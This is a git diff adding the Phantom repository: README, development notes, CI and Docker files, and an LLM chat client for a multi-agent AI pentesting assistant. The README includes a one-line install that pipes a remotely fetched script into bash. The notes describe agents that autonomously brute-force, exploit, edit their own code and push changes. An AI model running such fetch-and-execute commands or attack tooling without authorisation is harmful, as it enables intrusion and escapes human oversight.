diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000000000000000000000000000000000000..4c479d20ea7cef838c26808094e01f21047a1847 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,13 @@ +node_modules/ +dist/ +.env +*.log +.git/ +.gitattributes +.gitignore +.github/ +test/ +tmp/ +.tmp/ +.DS_Store +*.tsbuildinfo diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000000000000000000000000000000000000..4a7ea3036a20398caf9a9daa984acb4a019f3090 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,12 @@ +root = true + +[*] +indent_style = space +indent_size = 2 +end_of_line = lf +charset = utf-8 +trim_trailing_whitespace = true +insert_final_newline = true + +[*.md] +trim_trailing_whitespace = false diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000000000000000000000000000000000..4bef61ab6a252468e1faaf08caa0a736a6eaea9d --- /dev/null +++ b/.gitattributes @@ -0,0 +1,12 @@ +* text=auto eol=lf +*.mjs text eol=lf +*.ts text eol=lf +*.json text eol=lf +*.md text eol=lf +*.sh text eol=lf +*.yml text eol=lf +Dockerfile text eol=lf +.gitattributes text eol=lf +.gitignore text eol=lf +.editorconfig text eol=lf +LICENSE text eol=lf diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000000000000000000000000000000000000..8d384943b74fa0a94f99abe1839a701c95d70675 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,49 @@ +name: CI + +on: + push: + branches: [main] + pull_request: + branches: [main] + +jobs: + quality: + runs-on: ubuntu-latest + strategy: + matrix: + node-version: [20, 22] + + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v4 + with: + node-version: ${{ matrix.node-version }} + cache: 'npm' + + - name: Install dependencies + run: npm ci + + - name: Check JS syntax + run: | + node --check phantom.mjs + node --check lib/tools.mjs + node --check lib/config.mjs + node --check lib/runtime.mjs + node --check lib/visual.mjs + + - name: TypeScript build + run: npm run build + + - name: Verify CLI starts + run: timeout 5 node phantom.mjs --list 2>&1 | grep -q '🔧' || true + + - name: Run tests + run: npm test + + - name: Verify tool count + run: | + COUNT=$(timeout 5 node phantom.mjs --list 2>&1 | wc -l) + echo "Tools: $COUNT" + test "$COUNT" -gt 100 || (echo "Too few tools ($COUNT)" && exit 1) diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..5e7e02216078dfd9bb3b61142404bb4abce5247d --- /dev/null +++ b/.gitignore @@ -0,0 +1,13 @@ +node_modules/ +dist/ +.env +*.tsbuildinfo +*.log +.tmp/ +tmp/ +config.json +lib/generated/ +lib/learned/ +.config/phantom/ +*.vtt +*.srt diff --git a/.npmignore b/.npmignore new file mode 100644 index 0000000000000000000000000000000000000000..dd72887537f64d3de97b892afbd4cee3fc212a61 --- /dev/null +++ b/.npmignore @@ -0,0 +1,12 @@ +node_modules/ +dist/ +test/ +src/ +.git/ +.github/ +.gitignore +.gitattributes +.prettierrc +.editorconfig +*.log +tsconfig.json diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 0000000000000000000000000000000000000000..8bc9b11038ae9dd8446564c62f633a8cde9ad3b1 --- /dev/null +++ b/.prettierrc @@ -0,0 +1,13 @@ +# Phantom — formatting conventions +root = true + +[*] +indent_style = space +indent_size = 2 +end_of_line = lf +charset = utf-8 +trim_trailing_whitespace = true +insert_final_newline = true + +[*.md] +trim_trailing_whitespace = false diff --git a/CONTEXT.md b/CONTEXT.md new file mode 100644 index 0000000000000000000000000000000000000000..75de2c2561512295c1ce9c1ab0e3b45ac311314e --- /dev/null +++ b/CONTEXT.md @@ -0,0 +1,232 @@ +# Phantom — Development Context + +## What is Phantom? + +**Phantom** is a multi-agent terminal AI turned **cybersecurity assistant** — zero-dependency on any system with Node.js 18+ (desktop, Termux on Android, CI). It spawns AI agents that use tools autonomously to perform recon, vulnerability research, scanning, and exploitation tasks. + +## Current State (as of latest commit: `ea7bc25`) + +**100+ hacker tools** in dual runtime (`.mjs` zero-dep + `src/` TypeScript): + +| Category | Tools | Count | +|----------|-------|-------| +| Core | shell, web_fetch, decode, file_analyze, dns_lookup, hash | 6 | +| Advanced | whois, port_scan, http_headers, ssl_check, sub_enum, crawl, vt_check, yara | 8 | +| Workflow | recon, cve_search, searchsploit, bruteforce | 4 | +| File ops | file_read, file_write, file_edit, file_search, file_list | 5 | +| Self | self_info, self_read, self_edit | 3 | +| Auto-scan | vuln_scan, report_save | 2 | +| Sessions | session_save, session_load | 2 | +| Knowledge | knowledge_add, knowledge_search | 2 | +| Playbook | playbook_create, playbook_list, playbook_run, playbook_edit | 4 | +| Recon | geoip, dns_zone, http_methods, robots_txt, email_verify | 5 | +| Utility | reverse_dns, wayback, cert_expiry, cors_test, jwt_decode, hash_crack | 6 | +| Web sec | dir_bruteforce, xss_scan, sql_detect, open_redirect | 4 | +| OSINT | shodan_search, email_breach, github_dork, sub_takeover | 4 | +| Plugin | plugin_load, plugin_create | 2 | +| Reporting | report_export | 1 | +| LLM config | llm_config | 1 | +| Distro | distro (PRoot env mgmt) | 1 | +| Code gen | code_gen | 1 | +| Self-build | self_add_tool | 1 | +| GUI | dashboard | 1 | +| Bug bounty | hackerone (programs, scope, reports, submit) | 1 | + +## Project Structure + +``` +/root/phantom/ +├── phantom.mjs ← MAIN: Zero-dep standalone entry (what actually runs) +├── run.sh ← Zero-setup bootstrap launcher +├── package.json ← NPM metadata (optional deps) +├── tsconfig.json ← TypeScript config +├── src/ ← TypeScript source (refactored version) +│ ├── agents/ +│ │ ├── agent.ts ← Agent class with capabilities + persistence +│ │ ├── manager.ts ← Agent orchestrator +│ │ └── types.ts ← Types +│ ├── core/ +│ │ ├── config.ts ← Configuration +│ │ ├── eventbus.ts ← Pub/sub event bus +│ │ ├── persistence.ts ← Memory/knowledge save/load +│ │ ├── tools.ts ← Dynamic tool system +│ │ └── hacker-tools.ts ← 18 cybersecurity tool implementations +│ ├── providers/ +│ │ └── openai.ts ← OpenAI + Ollama provider +│ ├── ui/ +│ │ ├── panels.ts ← Desktop terminal UI +│ │ └── ... ← Terminal, Termux, Theme +│ └── index.ts ← Entry point +├── gui/ +│ └── server.ts ← Web dashboard server +└── CONTEXT.md ← THIS FILE +``` + +## How to Run + +### Quick install (zero-setup) +```bash +bash <(curl -s https://raw.githubusercontent.com/Njap-png/Phantom/main/run.sh) +``` + +### Clone the full repo +```bash +git clone https://github.com/Njap-png/Phantom.git +cd Phantom +phantom # if symlinked, or: +node phantom.mjs # zero-dep fallback +``` + +### One command (after symlink) +```bash +phantom # conversational REPL (default) +phantom --recon example.com # full recon + report +phantom --tool cve_search "nginx" # run one tool +phantom --tool port_scan scanme.org # port scan +phantom --list # list all 62 tools +phantom --gui # web dashboard (port 8080) +phantom --api # REST API server (port 9090) +phantom --help # show help +``` + +### With LLM +```bash +OPENAI_API_KEY=sk-... phantom # with AI agents +OLLAMA_HOST=http://localhost:11434 phantom # local LLM (offline) +``` + +### No PATH symlink +```bash +node phantom.mjs # same as above +``` + +## Conversational REPL + +Default mode is a **Hermes/Claude Code** style interactive shell. Features: +- `❯` prompt with arrow-key history, cursor movement, multi-line (`\` continuation) +- `/help`, `/tools`, `/model`, `/clear`, `/save`, `/load`, `/quit` commands +- Code blocks rendered with `┌─` / `│` / `└─` box-drawing +- Tool calls shown with `⚡ @tool|args` +- Auto-detects LLM provider; falls back to tools-only mode if no key set + +## REST API (`--api`) + +Start on port 9090 (or `PHANTOM_API_PORT`): +```bash +phantom --api +``` + +All responses are JSON `{ ok: true, data }` or `{ ok: false, error }`. + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api` | API overview, tool list, version | +| `GET` | `/api/tools` | List all 62 tools | +| `GET` | `/api/info` | Tool metadata | +| `GET` | `/api/tool/:name` | Specific tool info | +| `GET` / `POST` | `/api/run?tool=X&args=Y` or POST `{tool, args}` | Execute any tool | +| `GET` | `/api/playbooks` | List playbooks | +| `GET` / `POST` | `/api/playbook/run?name=X&vars=Y` | Run a playbook | +| `GET` | `/api/reports` | List reports | +| `GET` | `/api/report/:name` | View a report | +| `GET` | `/api/health` | Health check (status, pid, uptime, tool count) | + +## Web Dashboard (`--gui`) + +Zero-dep web UI at **http://localhost:8080** (or `PHANTOM_PORT`): +```bash +phantom --gui +``` + +**Tabs:** Tools grid (search + run), Playbooks (list + run with vars), Reports (view saved). + +Built with vanilla JS/HTML/CSS. No npm, no CDN, no build step. Works in any browser including mobile Termux. + +## Offline / Local LLM + +Ollama fully supported: +```bash +OLLAMA_HOST=http://localhost:11434 phantom +``` + +Phantom will use Ollama for AI features (agent mode, code gen, playbook creation) instead of OpenAI. No internet needed. + +## Multi-Provider LLM + +**8 providers** at runtime — no restart. Switch with `@llm_config|` or `llm_config|`. + +| Provider | Env Var | Default Model | +|----------|---------|---------------| +| OpenAI | `OPENAI_API_KEY` | gpt-4o | +| Anthropic | `ANTHROPIC_API_KEY` | claude-sonnet-4 | +| Google Gemini | `GEMINI_API_KEY` | gemini-2.0-flash | +| Groq | `GROQ_API_KEY` | llama-3.3-70b | +| DeepSeek | `DEEPSEEK_API_KEY` | deepseek-chat | +| Mistral | `MISTRAL_API_KEY` | mistral-large | +| OpenRouter | `OPENROUTER_API_KEY` | claude-sonnet-4 | +| Ollama | `OLLAMA_HOST` (base URL) | llama3 | + +Set key at runtime (persisted to `~/.config/phantom/config.json`): +``` +@llm_config|set ANTHROPIC_API_KEY sk-ant-... +``` + +Switch at runtime: +``` +@llm_config|anthropic +@llm_config|ollama +@llm_config|list +``` + +## Config System + +Auto-loads from `~/.config/phantom/config.json`: +```json +{ + "VT_API_KEY": "your-key-here", + "report_dir": "/path/to/reports", + "default_provider": "anthropic" +} +``` + +## Tool Calling Format (for LLM agents) +``` +@tool_name|argument +``` + +## What's Left To Do + +- [x] **Web UI / dashboard** — `phantom --gui` or `npm run dashboard` +- [x] **Web app security scanning** — dir bruteforce, XSS, SQLi, open redirect +- [x] **OSINT & recon tools** — Shodan, email breach, GitHub dork, subdomain takeover +- [x] **Plugin system** — Extend Phantom with external plugins +- [x] **Report export** — HTML/PDF report generation +- [x] **Local model support** — Offline LLM via Ollama +- [x] **Conversational REPL** — Hermes/Claude Code style interactive shell +- [x] **PRoot/Termux detection** — Distro management + env-aware +- [x] **HackerOne bug bounty integration** — programs, scope, reports, submit, test auth +- [x] **Git credentials auto-config** — Auto-push evolution improvements +- [x] **Config case-sensitivity** — Preserve token case for API credentials +- [ ] **Autonomous agent chaining** — Multi-agent parallel playbook runs +- [ ] **Distributed scanning** — Phantom runs across multiple hosts +- [ ] **Self-healing tools** — Auto-detect broken deps, suggest install +- [ ] **Session memory across restarts** — Persistent agent memory + +## External Deps (optional) +- `OPENAI_API_KEY` — enables code_gen, self_add_tool, playbook_create via LLM +- `VT_API_KEY` — VirusTotal hash lookups +- `HACKERONE_API_USERNAME` — HackerOne API token identifier (Basic Auth username) +- `HACKERONE_API_TOKEN` — HackerOne API token value (Basic Auth password) +- `yara` CLI — YARA scanning (`apt install yara`) +- `whois` CLI — WHOIS lookups (`apt install whois`) +- `sshpass` CLI — SSH brute force (`apt install sshpass`) +- `mysql` CLI — MySQL brute force (`apt install mysql-client`) +- `searchsploit` CLI — exploit-db queries (`apt install exploitdb`) +- `openssl` — cert_expiry tool (usually pre-installed) + +## Git Config +- User: `Njap-png` +- Email: `teddy.njagi.w@gmail.com` +- Remote: `https://github.com/Njap-png/Phantom.git` +- Auth: Token stored in config (`@config|set GIT_TOKEN `) +- Latest: 4 commits ahead (HackerOne auth fix, config case-sensitivity, test auth, CONTEXT update) diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000000000000000000000000000000000000..33402fd607369f6afa03f6a303fd6199f79b504d --- /dev/null +++ b/Dockerfile @@ -0,0 +1,23 @@ +FROM node:22-alpine + +WORKDIR /app + +# Install dependencies needed by tools +# which: for external binary detection +# curl, wget, git: for web-fetch, recon, install tools +# ca-certificates: for HTTPS +RUN apk add --no-cache which curl wget git ca-certificates + +# Copy manifest + install TS deps (devDep for type-checking) +COPY package.json package-lock.json* ./ +RUN npm ci --omit=dev || npm i --omit=dev + +# Copy source +COPY . . + +# Build TypeScript stubs +RUN npm run build + +# Default entry: REPL mode +ENTRYPOINT ["node", "phantom.mjs"] +CMD [] diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..b711d5be44230eedb9375478d94ceffd8f6ea8ec --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Njap-png + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000000000000000000000000000000000000..7f3798302c731c9d780b3c8de32988551305c22c --- /dev/null +++ b/README.md @@ -0,0 +1,246 @@ +# 👻 PHANTOM + +[![CI](https://github.com/Njap-png/Phantom/actions/workflows/ci.yml/badge.svg)](https://github.com/Njap-png/Phantom/actions/workflows/ci.yml) + +**Multi-agent cybersecurity AI assistant** — autonomous penetration testing, reconnaissance, vulnerability analysis, and AI-powered security operations, all from your terminal. + +``` +· · · · · · + ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + █ ═══ ═══ ═══ ═══ █ +▐█ · · · · █▌ +▐█ ╔═══════════╗ █▌ +▐█ ║ ◈ ◈ ║ █▌ +▐█ ║ ╲ ╱ ╲ ╱ ║ █▌ +▐█ ╚═══════════╝ █▌ +▐█ ● █▌ + ▀▄ ═══════════ ▄▀ + P H A N T O M + cybersecurity AI · v0.2.0 +``` + +## Quick Start + +```bash +# Clone +git clone https://github.com/Njap-png/Phantom.git +cd Phantom + +# Run (no install needed — zero-dep ESM) +node phantom.mjs + +# Or Docker +docker build -t phantom . +docker run -it phantom +``` + +## Features + +### 🔧 108 Built-in Tools + +| Category | Tools | +|---|---| +| **Core** | shell, web_fetch, decode, encode, hash, file_analyze, batch, code_analyze, code_gen, yara | +| **Recon** | dns_lookup, whois, sub_enum, subfinder (ext), port_scan, http_headers, ssl_check, crawl, geoip, dns_zone, reverse_dns, wayback, robots_txt, amass (ext), dnsx (ext), httpx (ext), naabu (ext), katana (ext), sub_takeover | +| **Web** | dir_bruteforce, xss_scan, sql_detect, open_redirect, cors_test, http_methods, ffuf (ext), arjun (ext) | +| **CVE/Exploit** | cve_search, searchsploit, shodan_search, nuclei (ext) | +| **Auth** | bruteforce, jwt_decode, hash_crack, hashcat (ext) | +| **OSINT** | email_verify, email_breach, github_dork, vt_check, cloud_enum, wayback | +| **Network** | netcat (ext), nmap (ext), masscan (ext), dig, ping, traceroute, netstat | +| **Crypto** | ssl_check, cert_expiry, encrypt, decrypt, random | +| **File** | file_read, file_write, file_edit, file_search, file_list | +| **Self** | self_info, self_read, self_edit, self_add_tool, distro | +| **Knowledge** | knowledge_add, knowledge_search | +| **Automation** | playbook_create, playbook_list, playbook_run, playbook_edit, recon, vuln_scan, report_save, report_export, session_save, session_load, schedule | + +> Type `node phantom.mjs --list` for the full list. External tools (marked `ext`) require installation — Phantom detects them at runtime. + +### 🚀 New in v0.2.0 + +| Feature | Description | +|---|---| +| **`--json` output** | `phantom --tool --json ` — structured `{ok, data}` JSON | +| **Tool piping** | `phantom --tool --pipe "subfinder\|dom\|httpx"` — chain output→input | +| **Scheduled scanning** | `@schedule\|daily\|recon\|target` — recurring automated scans | +| **Scope management** | `@scope\|add\|domain.com` — target scoping for batch ops | +| **Shell audit trail** | Every command logged, dangerous patterns blocked | +| **`--quiet` mode** | `PHANTOM_QUIET=1` or `--quiet` — suppress banner/status | +| **`--version`** | `phantom --version` — prints version and exits | +| **Docker** | `docker build -t phantom .` — Alpine-based container | +| **TAB autocomplete** | `@tool_name|` completion in REPL | + +### 🤖 Multi-Agent Team + +4 specialized agents working in parallel: + +| Agent | Role | Specialty | +|---|---|---| +| **Lyra** | Coordinator | Breaks down tasks, delegates, synthesizes results | +| **Nova** | Recon | DNS, OSINT, scanning, surface mapping | +| **Orion** | Exploit | Vulnerability research, pentesting, brute force | +| **Vega** | Defense | SSL, CORS, JWT, hardening, monitoring | + +Use `@delegate|name|task` for agent-to-agent delegation. + +### 🎯 One-Shot Commands + +```bash +phantom --recon example.com # Full recon (7 steps + report) +phantom --tool port_scan scanme.org # Run a single tool +phantom --tool --json cve_search "apache 2.4.49" # JSON output +phantom --tool --pipe "subfinder|dom|httpx|nuclei" # Tool chain +phantom --list # List all 108 tools +phantom --list --json # List as JSON +phantom --gui # Web dashboard (port 8080) +phantom --api # REST API (port 9090) +phantom --quiet # Suppress banner +phantom --version # Show version +phantom --help # Full usage +``` + +### 💬 Interactive REPL + +```bash +phantom +👻 recon example.com +👻 /model groq # Switch LLM +👻 @schedule|daily|recon|example.com # Schedule daily scan +👻 @scope|add|example.com # Add to target scope +👻 @pipe|subfinder|example.com|httpx # Chain tools inline +``` + +| Command | Description | +|---|---| +| `/help` | Show all commands | +| `/tools` | List available tools | +| `/model` | Show/switch LLM provider | +| `/delegate ` | Delegate to a specialist | +| `/talk ` | Chat directly with an agent | +| `/agents` | List agent team with status | +| `/gui` | Start web dashboard | +| `/api` | Start REST API | +| `/save ` | Save session | +| `/load ` | Load session | +| `/clear` | Clear screen | +| `/quit` | Exit | + +REPL also supports: +- `@tool_name|args` — run any tool inline +- `@pipe|tool1|input|tool2` — chain tools +- `@schedule|interval|tool|target` — schedule recurring scans +- `@scope|add|domain` — manage target scope +- `@workspace_write|key|value` — save findings +- `TAB` — autocomplete tool names + +## CI + +Every push runs across Node.js 20 and 22: + +- JS syntax check +- TypeScript build (`tsc --noEmit`) +- CLI verification (`--list` with tool count > 100) +- **34 test cases** (core runtime + features) + +[![CI](https://github.com/Njap-png/Phantom/actions/workflows/ci.yml/badge.svg)](https://github.com/Njap-png/Phantom/actions/workflows/ci.yml) + +## LLM Providers + +Phantom auto-detects available providers on startup. Supported: + +| Provider | Config | +|---|---| +| **Ollama** (local, default) | Auto-detected if running | +| **OpenAI** | `OPENAI_API_KEY` env or `@llm_config\|set\|openai_api_key\|sk-...` | +| **OpenCode** (via Hermes) | `@llm_config\|opencode\|deepseek-v4-flash-free` | +| **Groq** | `GROQ_API_KEY` env | +| **Anthropic** | `ANTHROPIC_API_KEY` env | +| **Gemini** | `GEMINI_API_KEY` env | +| **DeepSeek** | `DEEPSEEK_API_KEY` env | +| **Mistral** | `MISTRAL_API_KEY` env | +| **OpenRouter** | `OPENROUTER_API_KEY` env | + +Set API keys via interactive prompt on first run, or directly in `~/.config/phantom/config.json`. + +### Example: Hermes Agent / OpenCode provider + +Phantom works with Hermes Agent's OpenCode provider chain: + +```bash +# Via @llm_config interactive +👻 @llm_config|opencode|deepseek-v4-flash-free + +# Or set env vars +export PHANTOM_LLM_PROVIDER=opencode +export HERMES_OPCODE_API_KEY=sk-your-key-here # <-- REPLACE with your key +phantom +``` + +> ⚠ Never commit real API keys to Git. Use environment variables or the interactive `@llm_config` prompt instead. + +## Configuration + +All config lives in `~/.config/phantom/`: + +- `config.json` — LLM provider settings, API keys, defaults +- `memories/` — Per-agent persistent memory +- `tools/` — Custom tool definitions +- `reports/` — Generated security reports +- `knowledge/` — Persistent knowledge base entries +- `scope.json` — Target scope definitions +- `projects/` — Per-project workspace data +- `schedules.json` — Scheduled scan definitions + +## Environment Variables + +| Variable | Default | Description | +|---|---|---| +| `PHANTOM_MAX_ITER` | `8` | Max ReAct loop iterations per request | +| `PHANTOM_TOOL_TIMEOUT` | `30000` | Shell command timeout (ms) | +| `PHANTOM_LLM_PROVIDER` | `openai` | Default LLM provider | +| `PHANTOM_PROVIDERS_READY` | — | Comma-separated ready providers | +| `PHANTOM_QUIET` | — | Suppress banner/status output | +| `HERMES_OPCODE_API_KEY` | — | Hermes Agent / OpenCode provider API key | + +## Architecture + +``` +User Input + │ + ▼ + Lyra (Coordinator) + │ + ├── Nova (Recon) — DNS, ports, OSINT + ├── Orion (Exploit) — CVEs, brute force, SQLi + └── Vega (Defense) — SSL, CORS, hardening + │ + ▼ + Shared Workspace (agent-to-agent data) + │ + ▼ + Synthesized Response +``` + +- **Zero dependencies** — runs on vanilla Node.js ESM +- **EventBus** pattern for decoupled agent communication +- **ReAct loop** with 8 configurable tool iterations +- **Persistent memory** for each agent +- **Auto-save** conversations across sessions + +## Requirements + +- **Node.js** 20+ (ESM support) +- **Termux** / **Linux** / **macOS** / **WSL** +- LLM provider (Ollama recommended for local use) +- Docker (optional, for containerized use) + +## Known Issues + +- System tool detection runs once at startup — tools installed later won't show until restart +- Agent delegation requires an LLM provider (not available in tools-only mode) +- Some tools (vt_check, shodan_search) require API keys in environment +- Dashboard requires `blessed` for terminal split-panel UI (optional dep) + +## License + +MIT +# test diff --git a/chat.mjs b/chat.mjs new file mode 100644 index 0000000000000000000000000000000000000000..d8d721e2735ada188e42631404ee4aaa5211797e --- /dev/null +++ b/chat.mjs @@ -0,0 +1,200 @@ +#!/usr/bin/env node +// Chat — Phantom conversational CLI +// Zero deps. Run: node chat.mjs + +import { createRequire } from "module"; +const $r = createRequire(import.meta.url); +import fs from "fs"; +import { resolve } from "path"; + +const R = "\x1b[0m"; +const _B = "\x1b[1m"; +const _D = "\x1b[2m"; +function c(n) { + const colors = { green: "32", cyan: "36", dim: "2", yellow: "33", magenta: "35", red: "31", blue: "34" }; + return colors[n] ? `\x1b[${colors[n]}m` : ""; +} + +// ── Provider (from phantom.mjs) ── +export function createProvider() { + const PROVIDERS = { + openai: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ Authorization: `Bearer ${k}` }) }, + anthropic: { url: "https://api.anthropic.com/v1", keyEnv: "ANTHROPIC_API_KEY", defaultModel: "claude-sonnet-4-20250514", chatPath: "/messages", fmt: o => ({ model: o.model, messages: o.messages, max_tokens: 4096 }), parse: d => d.content?.[0]?.text || "...", auth: k => ({ "x-api-key": k, "anthropic-version": "2023-06-01" }) }, + openrouter:{ url: "https://openrouter.ai/api/v1", keyEnv: "OPENROUTER_API_KEY", defaultModel: "anthropic/claude-sonnet-4", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ Authorization: `Bearer ${k}` }) }, + ollama: { url: process.env.OLLAMA_HOST || "http://localhost:11434", keyEnv: "", defaultModel: "llama3", chatPath: "/api/chat", fmt: o => ({ model: o.model, messages: o.messages, stream: false }), parse: d => d.message?.content?.trim() || "...", auth: () => ({}) }, + opencode: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 256 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ Authorization: `Bearer ${k}` }) }, + }; + + const providerName = process.env.PHANTOM_LLM_PROVIDER || "openai"; + function getProvider() { return PROVIDERS[providerName] || PROVIDERS.openai; } + function getKey(p) { + if (!p.keyEnv) return ""; + const k = process.env[p.keyEnv]; + if (k) return k; + // Check project root config (for USB portability) + try { + const projectRoot = resolve(new URL(".", import.meta.url).pathname, ".."); + const projectConfigPath = resolve(projectRoot, "config.json"); + const cfg = JSON.parse(fs.readFileSync(projectConfigPath, "utf8")); + if (cfg[p.keyEnv]) return cfg[p.keyEnv]; + } catch {} + // Check user config + try { + const cfg = JSON.parse(fs.readFileSync(resolve(process.env.HOME || "/root", ".config", "phantom", "config.json"), "utf8")); + return cfg[p.keyEnv] || ""; + } catch { return ""; } + } + + return { + get provider() { return providerName; }, + get hasLLM() { const p = getProvider(); return !!(p.keyEnv ? getKey(p) : true); }, + async chat(messages, opts = {}) { + const p = getProvider(); + const key = getKey(p); + if (p.keyEnv && !key) return `[${providerName}] No API key. Set ${p.keyEnv} env var.`; + const model = opts.model || p.defaultModel; + try { + let url = `${p.url}${p.chatPath.replace("{model}", model)}`; + const h = { "Content-Type": "application/json", ...p.auth(key) }; + const body = JSON.stringify(p.fmt({ model, messages })); + const r = await fetch(url, { method: "POST", headers: h, body, signal: AbortSignal.timeout(60000) }); + if (!r.ok) { const t = await r.text().catch(() => ""); return `[${r.status}] ${t.substring(0, 200)}`; } + const d = await r.json(); + return p.parse(d) || "..."; + } catch (e) { return `[err] ${e.message}`; } + } + }; +} + +// ── Spinner ── +function spinner(start) { + const frames = ["⠋","⠙","⠹","⠸","⠼","⠴","⠦","⠧","⠇","⠏"]; + let i = 0, timer; + const fmt = ts => { const s = Math.floor((Date.now() - ts) / 1000); return s > 60 ? `${Math.floor(s/60)}m ${s%60}s` : `${s}s`; }; + return { + start() { timer = setInterval(() => { process.stdout.write(`\r${c("dim")}${frames[i]} ${fmt(start)}${R}`); i = (i + 1) % frames.length; }, 120); }, + stop() { clearInterval(timer); process.stdout.write("\r\x1b[K\n"); }, + }; +} + +// ── CLI Chat ── +export async function runChat(llm) { + const version = "0.1.0"; + const history = []; + const maxHistory = 20; + + // Use provided LLM or create one + const provider = llm || createProvider(); + if (!provider.hasLLM) { + console.error(`${c("red")}No LLM provider configured.${R}`); + console.error(`${c("dim")}Set PHANTOM_LLM_PROVIDER and the corresponding API key env var.${R}`); + process.exit(1); + } + + console.log(`${c("green")}${_B}PHANTOM Chat${R} ${c("dim")}v${version} · ${provider.provider}${R}`); + console.log(`${c("dim")}Type /help for commands, /exit to quit${R}\n`); + + const rl = $r("readline").createInterface({ input: process.stdin, output: process.stdout, terminal: true }); + + function ask() { + rl.question(`${c("green")}>> ${R}`, async (input) => { + const trimmed = input.trim(); + if (!trimmed) { ask(); return; } + + // Commands + if (trimmed.startsWith("/")) { + const cmd = trimmed.slice(1).toLowerCase(); + if (cmd === "exit" || cmd === "quit" || cmd === "q") { rl.close(); return; } + if (cmd === "help") { + console.log(`\n${c("dim")}Commands:${R}`); + console.log(` ${c("green")}/exit${R} Exit chat`); + console.log(` ${c("green")}/clear${R} Clear conversation history`); + console.log(` ${c("green")}/model ${R} Show/set model`); + console.log(` ${c("green")}/help${R} This help\n`); + ask(); + return; + } + if (cmd === "clear") { history.length = 0; console.log(`${c("dim")}History cleared${R}\n`); ask(); return; } + if (cmd.startsWith("model ")) { + // Could set model, but for now just show current + console.log(`${c("dim")}Model: ${provider.provider}${R}\n`); + ask(); + return; + } + console.log(`${c("yellow")}Unknown: ${trimmed}${R}\n`); + ask(); + return; + } + + // Show user input + process.stdout.write(`${c("green")}>${R} ${trimmed}\n`); + + // Build context + const messages = [ + { role: "system", content: "You are Phantom, a helpful AI assistant. You are concise, knowledgeable, and direct. Answer clearly and accurately." }, + ...history.slice(-maxHistory), + { role: "user", content: trimmed }, + ]; + + // Streaming spinner - DISABLED + // const s = spinner(Date.now()); + // s.start(); + + // Streaming spinner + const s = spinner(Date.now()); + s.start(); + + const start = Date.now(); + console.error("DEBUG chat.mjs: BEFORE provider.chat"); + let response; + try { + response = await provider.chat(messages); + } catch (e) { + console.error("DEBUG chat.mjs: EXCEPTION in provider.chat:", e.message); + response = "[error] " + e.message; + } + console.error("DEBUG chat.mjs: AFTER provider.chat, response:", response?.substring(0, 50)); + s.stop(); + + if (response.startsWith("[") && response.includes("] ")) { + console.log(`${c("red")}${response}${R}\n`); + ask(); + return; + } + + // Show response + process.stdout.write("\n"); + process.stdout.write(response + "\n"); + process.stdout.write("\n"); + console.error("DEBUG chat.mjs: wrote response:", response.substring(0, 50)); + const elapsed = Math.floor((Date.now() - start) / 1000); + console.log(`${c("dim")}✓ ${elapsed}s${R}\n`); + + // Store in history + history.push({ role: "user", content: trimmed }); + history.push({ role: "assistant", content: response }); + + ask(); + }); + } + + rl.on("close", () => { + console.log(`\n${c("dim")}Bye.${R}`); + process.exit(0); + }); + + ask(); +} + +// ── Entry ── +// Only run if executed directly (not imported) +if (import.meta.url === `file://${process.argv[1]}`) { + const llm = createProvider(); + if (!llm.hasLLM) { + console.error(`${c("red")}No LLM provider configured.${R}`); + console.error(`${c("dim")}Set PHANTOM_LLM_PROVIDER and the corresponding API key env var.${R}`); + process.exit(1); + } + + runChat(llm).catch(e => { console.error(`${c("red")}${e.message}${R}`); process.exit(1); }); +} diff --git a/guides/hackersploit_fundamentals.md b/guides/hackersploit_fundamentals.md new file mode 100644 index 0000000000000000000000000000000000000000..aba53f672e973755e0718846ccc8cfc112501ff0 --- /dev/null +++ b/guides/hackersploit_fundamentals.md @@ -0,0 +1,51 @@ +# Cybersecurity Fundamentals — HackerSploit Study Guide + +Source: 